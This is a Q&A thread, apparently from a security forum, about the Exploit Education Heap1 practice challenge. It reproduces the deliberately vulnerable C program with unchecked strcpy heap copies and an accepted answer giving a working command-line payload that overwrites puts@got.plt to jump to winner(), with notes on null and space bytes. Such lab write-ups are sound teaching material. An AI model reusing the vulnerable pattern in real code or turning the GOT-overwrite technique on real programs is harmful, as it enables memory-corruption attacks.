1

I'm stuck on the Heap1 challenge from Exploit Education.

After compiling the source code in a 64bit system, without any security mechanism, I try to overflow the heap in order to overwrite the main return address on the stack to control the program flow to the winner function.

I can't overwrite on the stack with the winner function address. Some characters are trailing.

Source

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

Problem

Finding winner address:

Winner address

Running payload

After crafting the payload and running the program I get a wrong value in the return address of main function.

runing payload

What am I doing wrong?

3
  • Can you copy/paste the text instead of adding screenshots? Especially for the python code you used
    – schroeder
    Jan 18 at 10:49
  • It would also help if you were more explicit about what you want to happen and what's happening instead.
    – schroeder
    Jan 18 at 10:50
  • This does not look like an overflow issue or a problem with the code. It appears to be a problem with how you are entering the addresses.
    – schroeder
    Jan 18 at 10:55

1 Answer 1

1

Solved

I solved this issue with the following command:

./heap1 "$(python -c "print 'A'*40+'\x20\x40\x40'")" $(python -c "print '\x62\x11\x40'")

The problem was the address I wanted to overwrite with was 3 bytes of length and the original was 6 bytes of length so, because strcpy function can't copy null characters I had to use the GOT overwrite method and use the puts@got.plt function address which did fit with the winner function address.

Notice double quoting

Using GOT overwrite method, I faced another problem. The puts@got.plt address was

0x404020

Which in little endian is

\x20\x40\x40

The character \x20 in ASCII is the "<space>" character, so this made the first argument split in two parts. I fixed this surrounding it with double quotes.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.